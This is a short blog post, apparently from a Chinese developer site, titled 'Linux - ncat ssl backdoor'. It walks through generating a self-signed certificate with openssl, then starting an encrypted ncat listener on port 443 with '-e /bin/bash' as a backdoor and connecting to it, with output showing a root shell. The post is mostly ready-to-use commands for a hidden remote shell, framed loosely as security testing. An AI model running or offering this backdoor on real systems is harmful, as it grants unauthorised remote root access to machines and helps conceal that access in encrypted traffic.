Linux - ncat ssl backdoor

本文介绍如何使用 NCAT 工具通过 SSL 建立监听及连接,包括生成自签名证书和私钥的过程。适用于安全测试场景,提供了一种简单的方法来建立加密的网络通信。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Generate a keypair

Using an existing certificate and key is recommended whenever possible because it allows for robust server authentication. Use the –ssl-cert and –ssl-key options to pass in PEM-encoded files. For testing purposes you can generate a self-signed certificate and private key. If you have OpenSSL installed, use this command:

openssl req -new -x509 -keyout test-key.pem -out test-cert.pem

Listen a backdoor

root@kali:/tmp# ncat -vn --ssl --ssl-cert test-cert.pem --ssl-key test-key.pem -l -p 443 -e /bin/bash
Ncat: Version 7.01 ( https://nmap.org/ncat )
Enter PEM pass phrase:
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Connect to a backdoor

root@kali:/tmp# ncat -vn --ssl 127.0.0.1 443
Ncat: Version 7.01 ( https://nmap.org/ncat )
Enter PEM pass phrase:
Ncat: Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Ncat: Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Ncat: SHA-1 fingerprint: B134 C432 299D 9E68 E8E7 4517 FD26 0917 E22A A4A7
Ncat: Certificate verification failed (self signed certificate).
Ncat: SSL connection to 127.0.0.1:443. Internet Widgits Pty Ltd
Ncat: SHA-1 fingerprint: B134 C432 299D 9E68 E8E7 4517 FD26 0917 E22A A4A7
id
uid=0(root) gid=0(root) groups=0(root)

References

https://nmap.org/ncat/guide/ncat-ssl.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值